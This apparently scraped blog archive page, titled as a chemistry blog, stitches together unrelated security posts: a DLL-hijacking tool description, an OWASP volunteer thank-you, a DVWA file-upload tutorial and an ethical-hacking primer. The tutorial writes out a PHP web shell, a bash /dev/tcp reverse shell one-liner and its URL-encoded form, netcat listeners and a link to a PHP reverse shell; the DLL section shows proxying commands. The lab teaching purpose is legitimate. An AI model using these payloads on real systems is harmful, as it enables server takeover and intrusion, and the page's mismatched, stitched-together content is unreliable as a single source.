Química on line: mayo 2023

miércoles, 31 de mayo de 2023

Koppeling - Adaptive DLL Hijacking / Dynamic Export Forwarding

This project is a demonstration of advanced DLL hijack techniques. It was released in conjunction with the "Adaptive DLL Hijacking" blog post. I recommend you start there to contextualize this code.

This project is comprised of the following elements:

Harness.exe: The "victim" application which is vulnerable to hijacking (static/dynamic)
Functions.dll: The "real" library which exposes valid functionality to the harness
Theif.dll: The "evil" library which is attempting to gain execution
NetClone.exe: A C# application which will clone exports from one DLL to another
PyClone.py: A python 3 script which mimics NetClone functionality

The VS solution itself supports 4 build configurations which map to 4 different methods of proxying functionality. This should provide a nice scalable way of demonstrating more techniques in the future.

Stc-Forward: Forwards export names during the build process using linker comments
Dyn-NetClone: Clones the export table from functions.dll onto theif.dll post-build using NetClone
Dyn-PyClone: Clones the export table from functions.dll onto theif.dll post-build using PyClone
Dyn-Rebuild: Rebuilds the export table and patches linked import tables post-load to dynamically prepare for function proxying

The goal of each technique is to successfully capture code execution while proxying functionality to the legitimate DLL. Each technique is tested to ensure static and dynamic sink situations are handled. This is by far not every primitive or technique variation. The post above goes into more detail.

Example

Prepare a hijack scenario with an obviously incorrect DLL

> copy C:\windows\system32\whoami.exe .\whoami.exe
        1 file(s) copied.

> copy C:\windows\system32\kernel32.dll .\wkscli.dll
        1 file(s) copied.

Executing in the current configuration should result in an error

> whoami.exe 

"Entry Point Not Found"

Convert kernel32 to proxy functionality for wkscli

> NetClone.exe --target C:\windows\system32\kernel32.dll --reference C:\windows\system32\wkscli.dll --output wkscli.dll
[+] Done.

> whoami.exe
COMPUTER\User

Download Koppeling

More info

Thank You To Volunteers And Board Members That Worked BlackHat Booth 2019

The OWASP Foundation would like to thank the OWASP Las Vegas Chapter Volunteers for taking the time out of their busy schedule to give back and volunteer to work the booth at BlackHat 2019. It was great meeting our Las Vegas OWASP members and working with Jorge, Carmi, Dave, and Nancy.
Also, take a moment to thank Global Board Members Martin Knobloch, Owen Pendlebury, and Gary Robinson for also working the booth and speaking with individuals and groups to answer questions on projects and suggestions on the use of our tools to address their work problems.
OWASP can not exist without support from our members.

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php phpinfo(); ?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php system($_GET["cmd"]); ?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

martes, 30 de mayo de 2023

How To Start | How To Become An Ethical Hacker

Are you tired of reading endless news stories about ethical hacking and not really knowing what that means? Let's change that!

This Post is for the people that:

Have No Experience With Cybersecurity (Ethical Hacking)
Have Limited Experience.
Those That Just Can't Get A Break

OK, let's dive into the post and suggest some ways that you can get ahead in Cybersecurity.

I receive many messages on how to become a hacker. "I'm a beginner in hacking, how should I start?" or "I want to be able to hack my friend's Facebook account" are some of the more frequent queries. Hacking is a skill. And you must remember that if you want to learn hacking solely for the fun of hacking into your friend's Facebook account or email, things will not work out for you. You should decide to learn hacking because of your fascination for technology and your desire to be an expert in computer systems. Its time to change the color of your hat 😀

I've had my good share of Hats. Black, white or sometimes a blackish shade of grey. The darker it gets, the more fun you have.

If you have no experience don't worry. We ALL had to start somewhere, and we ALL needed help to get where we are today. No one is an island and no one is born with all the necessary skills. Period.OK, so you have zero experience and limited skills…my advice in this instance is that you teach yourself some absolute fundamentals.

Let's get this party started.

What is hacking?

Hacking is identifying weakness and vulnerabilities of some system and gaining access with it.

Hacker gets unauthorized access by targeting system while ethical hacker have an official permission in a lawful and legitimate manner to assess the security posture of a target system(s)

There's some types of hackers, a bit of "terminology".
White hat — ethical hacker.
Black hat — classical hacker, get unauthorized access.
Grey hat — person who gets unauthorized access but reveals the weaknesses to the company.
Script kiddie — person with no technical skills just used pre-made tools.
Hacktivist — person who hacks for some idea and leaves some messages. For example strike against copyright.

Skills required to become ethical hacker.

Curosity anf exploration
Operating System
Fundamentals of Networking

*Note this sites

miércoles, 31 de mayo de 2023

Koppeling - Adaptive DLL Hijacking / Dynamic Export Forwarding

More info

Thank You To Volunteers And Board Members That Worked BlackHat Booth 2019

Related articles

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

References:

More articles

martes, 30 de mayo de 2023

How To Start | How To Become An Ethical Hacker

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